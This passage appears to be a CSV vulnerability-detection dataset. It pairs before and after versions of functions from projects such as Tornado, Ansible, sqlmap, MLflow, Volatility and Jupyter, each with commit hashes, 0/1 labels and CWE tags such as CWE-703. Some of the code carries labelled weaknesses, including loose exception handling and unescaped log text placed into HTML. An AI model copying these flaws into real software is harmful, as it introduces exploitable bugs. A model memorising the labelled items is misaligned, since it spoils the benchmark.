                ""comment_will_be_posted receiver %r killed the comment"" % receiver.__name__)

    # Save the comment and signal that it was saved
    comment.save()
    signals.comment_was_posted.send(
        sender=comment.__class__,
        comment=comment,
        request=request
    )

    return next_redirect(data, next, comment_done, c=comment._get_pk_val())"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/auth.py,0,"def _on_access_token(self, redirect_uri, client_id, client_secret,
                        callback, response):
      session = {
      ""access_token"": cgi.parse_qs(response.body)[""access_token""][-1],
      ""expires"": cgi.parse_qs(response.body).get(""expires"")
      }

      self.facebook_request(
          path=""/me"",
          callback=self.async_callback(
              self._on_get_user_info, callback, session),
          access_token=session[""access_token""],
          fields=""picture""
          )",CWE-Unknown,tornadoweb/tornado,98e4344fe66663d690003b39af3ac5808e499623,"def _on_access_token(self, redirect_uri, client_id, client_secret,
                        callback, response):
      session = {
      ""access_token"": cgi.parse_qs(response.body)[""access_token""][-1],
      ""expires"": cgi.parse_qs(response.body)[""expires""]
      }

      self.facebook_request(
          path=""/me"",
          callback=self.async_callback(
              self._on_get_user_info, callback, session),
          access_token=session[""access_token""],
          fields=""picture""
          )"
,UNKNOWN,UNKNOWN,lib/ansible/inventory/dir.py,1,"def get_file_parser(hostsfile, groups, loader):
    # check to see if the specified file starts with a
    # shebang (#!/), so if an error is raised by the parser
    # class we can show a more apropos error

    shebang_present = False
    processed = False
    myerr = []
    parser = None

    try:
        inv_file = open(hostsfile)
        first_line = inv_file.readlines()[0]
        inv_file.close()
        if first_line.startswith('#!'):
            shebang_present = True
    except:
        pass


    #FIXME: make this 'plugin loop'
    # script
    if loader.is_executable(hostsfile):
        try:
            parser = InventoryScript(loader=loader, groups=groups, filename=hostsfile)
            processed = True
        except Exception as e:
            myerr.append(str(e))
    elif shebang_present:
        myerr.append(""The file %s looks like it should be an executable inventory script, but is not marked executable. Perhaps you want to correct this with `chmod +x %s`?"" % (hostsfile, hostsfile))

    # YAML/JSON
    if not processed and not shebang_present and os.path.splitext(hostsfile)[-1] in C.YAML_FILENAME_EXTENSIONS:
        try:
            parser = InventoryYAMLParser(loader=loader, groups=groups, filename=hostsfile)
            processed = True
        except Exception as e:
            myerr.append(str(e))

    # ini
    if not processed and not shebang_present:
        try:
            parser = InventoryINIParser(loader=loader, groups=groups, filename=hostsfile)
            processed = True
        except Exception as e:
            myerr.append(str(e))

    if not processed and myerr:
        raise AnsibleError( '\n'.join(myerr) )

    return parser",CWE-703,ansible/ansible,52a0165c77bb21765978f364e819e62222e1e0af,"def get_file_parser(hostsfile, groups, loader):
    # check to see if the specified file starts with a
    # shebang (#!/), so if an error is raised by the parser
    # class we can show a more apropos error

    shebang_present = False
    processed = False
    myerr = []
    parser = None

    try:
        inv_file = open(hostsfile)
        first_line = inv_file.readlines()[0]
        inv_file.close()
        if first_line.startswith('#!'):
            shebang_present = True
    except:
        pass


    #FIXME: make this 'plugin loop'
    # script
    if loader.is_executable(hostsfile):
        try:
            parser = InventoryScript(loader=loader, groups=groups, filename=hostsfile)
            processed = True
        except Exception as e:
            myerr.append(str(e))
    elif shebang_present:
        myerr.append(""The file %s looks like it should be an executable inventory script, but is not marked executable. Perhaps you want to correct this with `chmod +x %s`?"" % (hostsfile, hostsfile))

    # YAML/JSON
    if not processed and os.path.splitext(hostsfile)[-1] in C.YAML_FILENAME_EXTENSIONS:
        try:
            parser = InventoryYAMLParser(loader=loader, groups=groups, filename=hostsfile)
            processed = True
        except Exception as e:
            myerr.append(str(e))

    # ini
    if not processed:
        try:
            parser = InventoryINIParser(loader=loader, groups=groups, filename=hostsfile)
            processed = True
        except Exception as e:
            myerr.append(str(e))

    if not processed and myerr:
        raise AnsibleError( '\n'.join(myerr) )

    return parser"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/inject.py,0,"def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """"""
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter. It can call a function to retrieve the output
    through inband SQL injection (if selected) and/or blind SQL injection
    (if selected).
    """"""

    if conf.direct:
        return direct(expression)

    expression = cleanQuery(expression)
    expression = expandAsteriskForColumns(expression)
    value      = None

    expression = expression.replace(""DISTINCT "", """")

    if inband and kb.unionPosition:
        value = __goInband(expression, expected, sort, resumeValue, unpack, dump)

        if not value:
            warnMsg  = ""for some reasons it was not possible to retrieve ""
            warnMsg += ""the query output through inband SQL injection ""
            warnMsg += ""technique, sqlmap is going blind""
            logger.warn(warnMsg)

    oldParamFalseCond   = kb.unionFalseCond
    oldParamNegative    = kb.unionNegative
    kb.unionFalseCond   = False
    kb.unionNegative    = False

    if blind and not value:
        value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)

    kb.unionFalseCond = oldParamFalseCond
    kb.unionNegative  = oldParamNegative

    if value and isinstance(value, basestring):
        value = value.strip()

    return value",,sqlmapproject/sqlmap,dc83f794eadcff0c2c6257ccc0e06894caf7700f,"def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """"""
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter. It can call a function to retrieve the output
    through inband SQL injection (if selected) and/or blind SQL injection
    (if selected).
    """"""

    if conf.direct:
        return direct(expression)

    expression = cleanQuery(expression)
    expression = expandAsteriskForColumns(expression)
    value      = None

    expression = expression.replace(""DISTINCT "", """")

    if inband and kb.unionPosition:
        value = __goInband(expression, expected, sort, resumeValue, unpack, dump)

        if not value:
            warnMsg  = ""for some reasons it was not possible to retrieve ""
            warnMsg += ""the query output through inband SQL injection ""
            warnMsg += ""technique, sqlmap is going blind""
            logger.warn(warnMsg)

    oldParamFalseCond   = kb.unionFalseCond
    oldParamNegative    = kb.unionNegative
    kb.unionFalseCond   = False
    kb.unionNegative    = False

    if blind and not value:
        value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)

    kb.unionFalseCond = oldParamFalseCond
    kb.unionNegative  = oldParamNegative

    if value and isinstance(value, str):
        value = value.strip()

    return value"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/pipelines/steps/evaluate.py,0,"def _build_profiles_and_card(
        self, run_id, model_uri, eval_metrics, validation_results, output_directory
    ):
        """"""
        Constructs data profiles of predictions and errors and a step card instance corresponding
        to the current evaluate step state.

        :param run_id: The ID of the MLflow Run to which to log model evaluation results.
        :param model_uri: The URI of the model being evaluated.
        :param eval_metrics: the evaluation result keyed by dataset name from `mlflow.evaluate`.
        :param validation_results: a list of `MetricValidationResult` instances
        :param output_directory: output directory used by the evaluate step.
        """"""
        import pandas as pd

        # Build card
        card = BaseCard(self.pipeline_name, self.name)
        # Tab 0: model performance summary.
        metric_df = (
            get_merged_eval_metrics(
                eval_metrics,
                ordered_metric_names=[self.primary_metric, *self.user_defined_custom_metrics],
            )
            .reset_index()
            .rename(columns={""index"": ""Metric""})
        )

        def row_style(row):
            if row.Metric == self.primary_metric or row.Metric in self.user_defined_custom_metrics:
                return pd.Series(""font-weight: bold"", row.index)
            else:
                return pd.Series("""", row.index)

        metric_table_html = BaseCard.render_table(
            metric_df.style.format({""training"": ""{:.6g}"", ""validation"": ""{:.6g}""}).apply(
                row_style, axis=1
            )
        )

        card.add_tab(
            ""Model Performance (Test)"",
            ""<h3 class='section-title'>Summary Metrics</h3>""
            ""<b>NOTE</b>: Use evaluation metrics over test dataset with care. ""
            ""Fine-tuning model over the test dataset is not advised.""
            ""{{ METRICS }} "",
        ).add_html(""METRICS"", metric_table_html)

        # Tab 1: model validation results, if exists.
        if validation_results is not None:

            def get_icon(validated):
                return (
                    # check mark button emoji
                    ""\u2705""
                    if validated
                    # cross mark emoji
                    else ""\u274c""
                )

            result_df = pd.DataFrame(validation_results).assign(
                validated=lambda df: df[""validated""].map(get_icon)
            )

            criteria_html = BaseCard.render_table(
                result_df.style.format({""value"": ""{:.6g}"", ""threshold"": ""{:.6g}""})
            )
            card.add_tab(""Model Validation"", ""{{ METRIC_VALIDATION_RESULTS }}"").add_html(
                ""METRIC_VALIDATION_RESULTS"",
                ""<h3 class='section-title'>Model Validation Results (Test Dataset)</h3> ""
                + criteria_html,
            )

        # Tab 2: Classifier plots.
        if self.template == ""classification/v1"":
            classifiers_plot_tab = card.add_tab(
                ""Classifier Plots on the Validation Dataset"",
                ""{{ CONFUSION_MATRIX }} {{CONFUSION_MATRIX_PLOT}}""
                + ""{{ LIFT_CURVE }} {{LIFT_CURVE_PLOT}}""
                + ""{{ PR_CURVE }} {{PR_CURVE_PLOT}}""
                + ""{{ ROC_CURVE }} {{ROC_CURVE_PLOT}}"",
            )
            confusion_matrix_path = os.path.join(
                output_directory,
                ""eval_validation/artifacts"",
                ""confusion_matrix.png"",
            )
            if os.path.exists(confusion_matrix_path):
                classifiers_plot_tab.add_html(
                    ""CONFUSION_MATRIX"",
                    '<h3 class=""section-title"">Confusion Matrix Plot</h3>',
                )
                classifiers_plot_tab.add_image(
                    ""CONFUSION_MATRIX_PLOT"", confusion_matrix_path, width=400
                )

            lift_curve_path = os.path.join(
                output_directory,
                ""eval_validation/artifacts"",
                ""lift_curve_plot.png"",
            )
            if os.path.exists(lift_curve_path):
                classifiers_plot_tab.add_html(
                    ""LIFT_CURVE"",
                    '<h3 class=""section-title"">Lift Curve Plot</h3>',
                )
                classifiers_plot_tab.add_image(""LIFT_CURVE_PLOT"", lift_curve_path, width=400)

            pr_curve_path = os.path.join(
                output_directory,
                ""eval_validation/artifacts"",
                ""precision_recall_curve_plot.png"",
            )
            if os.path.exists(pr_curve_path):
                classifiers_plot_tab.add_html(
                    ""PR_CURVE"",
                    '<h3 class=""section-title"">Precision Recall Curve Plot</h3>',
                )
                classifiers_plot_tab.add_image(""PR_CURVE_PLOT"", pr_curve_path, width=400)

            roc_curve_path = os.path.join(
                output_directory,
                ""eval_validation/artifacts"",
                ""roc_curve_plot.png"",
            )
            if os.path.exists(roc_curve_path):
                classifiers_plot_tab.add_html(
                    ""ROC_CURVE"",
                    '<h3 class=""section-title"">ROC Curve Plot</h3>',
                )
                classifiers_plot_tab.add_image(""ROC_CURVE_PLOT"", roc_curve_path, width=400)

        # Tab 3: SHAP plots.
        shap_plot_tab = card.add_tab(
            ""Feature Importance"",
            '<h3 class=""section-title"">Feature Importance on Validation Dataset</h3>'
            '<h3 class=""section-title"">SHAP Bar Plot</h3>{{SHAP_BAR_PLOT}}'
            '<h3 class=""section-title"">SHAP Beeswarm Plot</h3>{{SHAP_BEESWARM_PLOT}}',
        )

        shap_bar_plot_path = os.path.join(
            output_directory, ""eval_validation/artifacts"", ""shap_feature_importance_plot.png""
        )
        shap_beeswarm_plot_path = os.path.join(
            output_directory,
            ""eval_validation/artifacts"",
            ""shap_beeswarm_plot.png"",
        )
        shap_plot_tab.add_image(""SHAP_BAR_PLOT"", shap_bar_plot_path, width=800)
        shap_plot_tab.add_image(""SHAP_BEESWARM_PLOT"", shap_beeswarm_plot_path, width=800)

        # Tab 3: Warning log outputs.
        warning_output_path = os.path.join(output_directory, ""warning_logs.txt"")
        if os.path.exists(warning_output_path):
            warnings_output_tab = card.add_tab(""Warning Logs"", ""{{ STEP_WARNINGS }}"")
            warnings_output_tab.add_html(
                ""STEP_WARNINGS"", f""<pre>{open(warning_output_path).read()}</pre>""
            )

        # Tab 4: Run summary.
        run_summary_card_tab = card.add_tab(
            ""Run Summary"",
            ""{{ RUN_ID }} ""
            + ""{{ MODEL_URI }}""
            + ""{{ VALIDATION_STATUS }}""
            + ""{{ EXE_DURATION }}""
            + ""{{ LAST_UPDATE_TIME }}"",
        ).add_markdown(
            ""VALIDATION_STATUS"", f""**Validation status:** `{self.model_validation_status}`""
        )
        run_url = get_databricks_run_url(
            tracking_uri=mlflow.get_tracking_uri(),
            run_id=run_id,
        )
        model_uri = f""runs:/{run_id}/train/{TrainStep.MODEL_ARTIFACT_RELATIVE_PATH}""
        model_url = get_databricks_run_url(
            tracking_uri=mlflow.get_tracking_uri(),
            run_id=run_id,
            artifact_path=f""train/{TrainStep.MODEL_ARTIFACT_RELATIVE_PATH}"",
        )

        if run_url is not None:
            run_summary_card_tab.add_html(
                ""RUN_ID"", f""<b>MLflow Run ID:</b> <a href={run_url}>{run_id}</a><br><br>""
            )
        else:
            run_summary_card_tab.add_markdown(""RUN_ID"", f""**MLflow Run ID:** `{run_id}`"")

        if model_url is not None:
            run_summary_card_tab.add_html(
                ""MODEL_URI"", f""<b>MLflow Model URI:</b> <a href={model_url}>{model_uri}</a>""
            )
        else:
            run_summary_card_tab.add_markdown(""MODEL_URI"", f""**MLflow Model URI:** `{model_uri}`"")

        return card",,mlflow/mlflow,10362fce0745d3613971c597d4525b33b1210182,"def _build_profiles_and_card(
        self, run_id, model_uri, eval_metrics, validation_results, output_directory
    ):
        """"""
        Constructs data profiles of predictions and errors and a step card instance corresponding
        to the current evaluate step state.

        :param run_id: The ID of the MLflow Run to which to log model evaluation results.
        :param model_uri: The URI of the model being evaluated.
        :param eval_metrics: the evaluation result keyed by dataset name from `mlflow.evaluate`.
        :param validation_results: a list of `MetricValidationResult` instances
        :param output_directory: output directory used by the evaluate step.
        """"""
        import pandas as pd

        # Build card
        card = BaseCard(self.pipeline_name, self.name)
        # Tab 0: model performance summary.
        metric_df = (
            get_merged_eval_metrics(
                eval_metrics,
                ordered_metric_names=[self.primary_metric, *self.user_defined_custom_metrics],
            )
            .reset_index()
            .rename(columns={""index"": ""Metric""})
        )

        def row_style(row):
            if row.Metric == self.primary_metric or row.Metric in self.user_defined_custom_metrics:
                return pd.Series(""font-weight: bold"", row.index)
            else:
                return pd.Series("""", row.index)

        metric_table_html = BaseCard.render_table(
            metric_df.style.format({""training"": ""{:.6g}"", ""validation"": ""{:.6g}""}).apply(
                row_style, axis=1
            )
        )

        card.add_tab(
            ""Model Performance (Test)"",
            ""<h3 class='section-title'>Summary Metrics</h3>""
            ""<b>NOTE</b>: Use evaluation metrics over test dataset with care. ""
            ""Fine-tuning model over the test dataset is not advised.""
            ""{{ METRICS }} "",
        ).add_html(""METRICS"", metric_table_html)

        # Tab 1: model validation results, if exists.
        if validation_results is not None:

            def get_icon(validated):
                return (
                    # check mark button emoji
                    ""\u2705""
                    if validated
                    # cross mark emoji
                    else ""\u274c""
                )

            result_df = pd.DataFrame(validation_results).assign(
                validated=lambda df: df[""validated""].map(get_icon)
            )

            criteria_html = BaseCard.render_table(
                result_df.style.format({""value"": ""{:.6g}"", ""threshold"": ""{:.6g}""})
            )
            card.add_tab(""Model Validation"", ""{{ METRIC_VALIDATION_RESULTS }}"").add_html(
                ""METRIC_VALIDATION_RESULTS"",
                ""<h3 class='section-title'>Model Validation Results (Test Dataset)</h3> ""
                + criteria_html,
            )

        # Tab 2: Classifier plots.
        if self.template == ""classification/v1"":
            classifiers_plot_tab = card.add_tab(
                ""Classifier Plots on the Validation Dataset"",
                ""{{ CONFUSION_MATRIX }} {{CONFUSION_MATRIX_PLOT}}""
                + ""{{ LIFT_CURVE }} {{LIFT_CURVE_PLOT}}""
                + ""{{ PR_CURVE }} {{PR_CURVE_PLOT}}""
                + ""{{ ROC_CURVE }} {{ROC_CURVE_PLOT}}"",
            )
            confusion_matrix_path = os.path.join(
                output_directory,
                ""eval_validation/artifacts"",
                ""confusion_matrix_on_data_validation.png"",
            )
            if os.path.exists(confusion_matrix_path):
                classifiers_plot_tab.add_html(
                    ""CONFUSION_MATRIX"",
                    '<h3 class=""section-title"">Confusion Matrix Plot</h3>',
                )
                classifiers_plot_tab.add_image(
                    ""CONFUSION_MATRIX_PLOT"", confusion_matrix_path, width=400
                )

            lift_curve_path = os.path.join(
                output_directory,
                ""eval_validation/artifacts"",
                ""lift_curve_plot_on_data_validation.png"",
            )
            if os.path.exists(lift_curve_path):
                classifiers_plot_tab.add_html(
                    ""LIFT_CURVE"",
                    '<h3 class=""section-title"">Lift Curve Plot</h3>',
                )
                classifiers_plot_tab.add_image(""LIFT_CURVE_PLOT"", lift_curve_path, width=400)

            pr_curve_path = os.path.join(
                output_directory,
                ""eval_validation/artifacts"",
                ""precision_recall_curve_plot_on_data_validation.png"",
            )
            if os.path.exists(pr_curve_path):
                classifiers_plot_tab.add_html(
                    ""PR_CURVE"",
                    '<h3 class=""section-title"">Precision Recall Curve Plot</h3>',
                )
                classifiers_plot_tab.add_image(""PR_CURVE_PLOT"", pr_curve_path, width=400)

            roc_curve_path = os.path.join(
                output_directory,
                ""eval_validation/artifacts"",
                ""roc_curve_plot_on_data_validation.png"",
            )
            if os.path.exists(roc_curve_path):
                classifiers_plot_tab.add_html(
                    ""ROC_CURVE"",
                    '<h3 class=""section-title"">ROC Curve Plot</h3>',
                )
                classifiers_plot_tab.add_image(""ROC_CURVE_PLOT"", roc_curve_path, width=400)

        # Tab 3: SHAP plots.
        shap_plot_tab = card.add_tab(
            ""Feature Importance"",
            '<h3 class=""section-title"">Feature Importance on Validation Dataset</h3>'
            '<h3 class=""section-title"">SHAP Bar Plot</h3>{{SHAP_BAR_PLOT}}'
            '<h3 class=""section-title"">SHAP Beeswarm Plot</h3>{{SHAP_BEESWARM_PLOT}}',
        )

        shap_bar_plot_path = os.path.join(
            output_directory, ""eval_validation/artifacts"", ""shap_feature_importance_plot.png""
        )
        shap_beeswarm_plot_path = os.path.join(
            output_directory,
            ""eval_validation/artifacts"",
            ""shap_beeswarm_plot.png"",
        )
        shap_plot_tab.add_image(""SHAP_BAR_PLOT"", shap_bar_plot_path, width=800)
        shap_plot_tab.add_image(""SHAP_BEESWARM_PLOT"", shap_beeswarm_plot_path, width=800)

        # Tab 3: Warning log outputs.
        warning_output_path = os.path.join(output_directory, ""warning_logs.txt"")
        if os.path.exists(warning_output_path):
            warnings_output_tab = card.add_tab(""Warning Logs"", ""{{ STEP_WARNINGS }}"")
            warnings_output_tab.add_html(
                ""STEP_WARNINGS"", f""<pre>{open(warning_output_path).read()}</pre>""
            )

        # Tab 4: Run summary.
        run_summary_card_tab = card.add_tab(
            ""Run Summary"",
            ""{{ RUN_ID }} ""
            + ""{{ MODEL_URI }}""
            + ""{{ VALIDATION_STATUS }}""
            + ""{{ EXE_DURATION }}""
            + ""{{ LAST_UPDATE_TIME }}"",
        ).add_markdown(
            ""VALIDATION_STATUS"", f""**Validation status:** `{self.model_validation_status}`""
        )
        run_url = get_databricks_run_url(
            tracking_uri=mlflow.get_tracking_uri(),
            run_id=run_id,
        )
        model_uri = f""runs:/{run_id}/train/{TrainStep.MODEL_ARTIFACT_RELATIVE_PATH}""
        model_url = get_databricks_run_url(
            tracking_uri=mlflow.get_tracking_uri(),
            run_id=run_id,
            artifact_path=f""train/{TrainStep.MODEL_ARTIFACT_RELATIVE_PATH}"",
        )

        if run_url is not None:
            run_summary_card_tab.add_html(
                ""RUN_ID"", f""<b>MLflow Run ID:</b> <a href={run_url}>{run_id}</a><br><br>""
            )
        else:
            run_summary_card_tab.add_markdown(""RUN_ID"", f""**MLflow Run ID:** `{run_id}`"")

        if model_url is not None:
            run_summary_card_tab.add_html(
                ""MODEL_URI"", f""<b>MLflow Model URI:</b> <a href={model_url}>{model_uri}</a>""
            )
        else:
            run_summary_card_tab.add_markdown(""MODEL_URI"", f""**MLflow Model URI:** `{model_uri}`"")

        return card"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/strings.py,0,"def get_reverse_map(self, addr_space, tasks, verbfd = None):
        """"""Generates a reverse mapping from physical addresses to the kernel and/or tasks
        
           Returns:
           dict of form phys_page -> [isKernel, (pid1, vaddr1), (pid2, vaddr2) ...]
           where isKernel is True or False. if isKernel is true, list is of all kernel addresses
        """"""

        if verbfd is None:
            verbfd = obj.NoneObject(""Swallow output unless VERBOSE mode is enabled"")

        # ASSUMPTION: no pages mapped in kernel and userland
        # XXX: Can we eliminate the above assumption?  It seems like the only change needed for
        #      that would be to store a boolean with each pid/vaddr pair...
        #
        # XXX: The following code still fails to represent information about larger pages in
        #      the final output.  The output implies that addresses in a large page are
        #      really stored in one or more 4k pages.  This is no different from the old
        #      version of the code, but in this version it could be corrected easily by
        #      recording vpage instead of vpage+i in the reverse map. -- TDM
        reverse_map = {}

        verbfd.write(""Enumerating kernel modules...\n"")
        mods = dict((addr_space.address_mask(mod.DllBase), mod) for mod in win32.modules.lsmod(addr_space))
        mod_addrs = sorted(mods.keys())
            
        verbfd.write(""Calculating kernel mapping...\n"")
        available_pages = addr_space.get_available_pages()
        for (vpage, vpage_size) in available_pages:
            kpage = addr_space.vtop(vpage)
            for i in range(0, vpage_size, 0x1000):
                # Since the output will always be mutable, we don't need to reinsert into the list
                pagelist = reverse_map.get(kpage + i, None)
                if pagelist is None:
                    pagelist = [True]
                    reverse_map[kpage + i] = pagelist
                # Try to lookup the owning kernel module
                module = win32.tasks.find_module(mods, mod_addrs, addr_space.address_mask(vpage + i))
                if module:
                    hint = str(module.BaseDllName)
                else:
                    hint = 'kernel'
                pagelist.append((hint, vpage + i))
                verbfd.write(""\r  Kernel [{0:08x}]"".format(vpage))
        verbfd.write(""\n"")

        verbfd.write(""Calculating task mappings...\n"")
        for task in tasks:
            task_space = task.get_process_address_space()
            verbfd.write(""  Task {0} ..."".format(task.UniqueProcessId))
            process_id = int(task.UniqueProcessId)
            try:
                available_pages = task_space.get_available_pages()
                for (vpage, vpage_size) in available_pages:
                    physpage = task_space.vtop(vpage)
                    for i in range(0, vpage_size, 0x1000):
                        # Since the output will always be mutable, we don't need to reinsert into the list
                        pagelist = reverse_map.get(physpage + i, None)
                        if pagelist is None:
                            pagelist = [False]
                            reverse_map[physpage + i] = pagelist
                        if not pagelist[0]:
                            pagelist.append((process_id, vpage + i))

                    verbfd.write(""\r  Task {0} [{1:08x}]"".format(process_id, vpage))
            except (AttributeError, ValueError, TypeError):
                # Handle most errors, but not all of them
                continue
            verbfd.write(""\n"")
        verbfd.write(""\n"")
        return reverse_map",,volatilityfoundation/volatility,f606ffd282fd57a8e82be898c0d184ae0bee3383,"def get_reverse_map(self, addr_space, tasks, verbfd = None):
        """"""Generates a reverse mapping from physical addresses to the kernel and/or tasks
        
           Returns:
           dict of form phys_page -> [isKernel, (pid1, vaddr1), (pid2, vaddr2) ...]
           where isKernel is True or False. if isKernel is true, list is of all kernel addresses
        """"""

        if verbfd is None:
            verbfd = obj.NoneObject(""Swallow output unless VERBOSE mode is enabled"")

        # ASSUMPTION: no pages mapped in kernel and userland
        # XXX: Can we eliminate the above assumption?  It seems like the only change needed for
        #      that would be to store a boolean with each pid/vaddr pair...
        #
        # XXX: The following code still fails to represent information about larger pages in
        #      the final output.  The output implies that addresses in a large page are
        #      really stored in one or more 4k pages.  This is no different from the old
        #      version of the code, but in this version it could be corrected easily by
        #      recording vpage instead of vpage+i in the reverse map. -- TDM
        reverse_map = {}

        verbfd.write(""Enumerating kernel modules...\n"")
        mods = dict((mod.DllBase, mod) for mod in win32.modules.lsmod(addr_space))
        mod_addrs = sorted(mods.keys())
            
        verbfd.write(""Calculating kernel mapping...\n"")
        available_pages = addr_space.get_available_pages()
        for (vpage, vpage_size) in available_pages:
            kpage = addr_space.vtop(vpage)
            for i in range(0, vpage_size, 0x1000):
                # Since the output will always be mutable, we don't need to reinsert into the list
                pagelist = reverse_map.get(kpage + i, None)
                if pagelist is None:
                    pagelist = [True]
                    reverse_map[kpage + i] = pagelist
                # Try to lookup the owning kernel module
                module = win32.tasks.find_module(mods, mod_addrs, vpage + i)
                if module:
                    hint = str(module.BaseDllName)
                else:
                    hint = 'kernel'
                pagelist.append((hint, vpage + i))
                verbfd.write(""\r  Kernel [{0:08x}]"".format(vpage))
        verbfd.write(""\n"")

        verbfd.write(""Calculating task mappings...\n"")
        for task in tasks:
            task_space = task.get_process_address_space()
            verbfd.write(""  Task {0} ..."".format(task.UniqueProcessId))
            process_id = int(task.UniqueProcessId)
            try:
                available_pages = task_space.get_available_pages()
                for (vpage, vpage_size) in available_pages:
                    physpage = task_space.vtop(vpage)
                    for i in range(0, vpage_size, 0x1000):
                        # Since the output will always be mutable, we don't need to reinsert into the list
                        pagelist = reverse_map.get(physpage + i, None)
                        if pagelist is None:
                            pagelist = [False]
                            reverse_map[physpage + i] = pagelist
                        if not pagelist[0]:
                            pagelist.append((process_id, vpage + i))

                    verbfd.write(""\r  Task {0} [{1:08x}]"".format(process_id, vpage))
            except (AttributeError, ValueError, TypeError):
                # Handle most errors, but not all of them
                continue
            verbfd.write(""\n"")
        verbfd.write(""\n"")
        return reverse_map"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,setupbase.py,0,"def find_package_data():
    """"""
    Find IPython's package_data.
    """"""
    # This is not enough for these things to appear in an sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components from the walk,
    # we will build the components separately
    excludes = ['components']
    
    # add 'static/' prefix to exclusions, and tuplify for use in startswith
    excludes = tuple([pjoin('static', ex) for ex in excludes])
    
    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir(os.path.join('IPython', 'html'))
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if parent.startswith(excludes):
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""bootstrap"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""font-awesome"", ""font"", ""*.*""),
        pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
        pjoin(components, ""highlight.js"", ""build"", ""highlight.pack.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
    ])
    
    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))
    
    os.chdir(os.path.join('tests',))
    js_tests = glob('*.js') + glob('*/*.js')

    os.chdir(os.path.join(cwd, 'IPython', 'nbconvert'))
    nbconvert_templates = [os.path.join(dirpath, '*.*')
                            for dirpath, _, _ in os.walk('templates')]

    os.chdir(cwd)

    package_data = {
        'IPython.config.profile' : ['README*', '*/*.py'],
        'IPython.core.tests' : ['*.png', '*.jpg'],
        'IPython.lib.tests' : ['*.wav'],
        'IPython.testing.plugin' : ['*.txt'],
        'IPython.html' : ['templates/*'] + static_data,
        'IPython.html.tests' : js_tests,
        'IPython.qt.console' : ['resources/icon/*.svg'],
        'IPython.nbconvert' : nbconvert_templates +
            ['tests/files/*.*', 'exporters/tests/files/*.*'],
        'IPython.nbconvert.filters' : ['marked.js'],
        'IPython.nbformat' : ['tests/*.ipynb']
    }
    
    return package_data",,jupyter/notebook,3588fe40a9af8c133dd9b01883cd774faef2541d,"def find_package_data():
    """"""
    Find IPython's package_data.
    """"""
    # This is not enough for these things to appear in an sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components from the walk,
    # we will build the components separately
    excludes = ['components']
    
    # add 'static/' prefix to exclusions, and tuplify for use in startswith
    excludes = tuple([pjoin('static', ex) for ex in excludes])
    
    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir(os.path.join('IPython', 'html'))
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if parent.startswith(excludes):
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""bootstrap"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""font-awesome"", ""font"", ""*.*""),
        pjoin(components, ""highlight.js"", ""build"", ""highlight.pack.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
    ])
    
    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))
    
    os.chdir(os.path.join('tests',))
    js_tests = glob('*.js') + glob('*/*.js')

    os.chdir(os.path.join(cwd, 'IPython', 'nbconvert'))
    nbconvert_templates = [os.path.join(dirpath, '*.*')
                            for dirpath, _, _ in os.walk('templates')]

    os.chdir(cwd)

    package_data = {
        'IPython.config.profile' : ['README*', '*/*.py'],
        'IPython.core.tests' : ['*.png', '*.jpg'],
        'IPython.lib.tests' : ['*.wav'],
        'IPython.testing.plugin' : ['*.txt'],
        'IPython.html' : ['templates/*'] + static_data,
        'IPython.html.tests' : js_tests,
        'IPython.qt.console' : ['resources/icon/*.svg'],
        'IPython.nbconvert' : nbconvert_templates +
            ['tests/files/*.*', 'exporters/tests/files/*.*'],
        'IPython.nbconvert.filters' : ['marked.js'],
        'IPython.nbformat' : ['tests/*.ipynb']
    }
    
    return package_data"
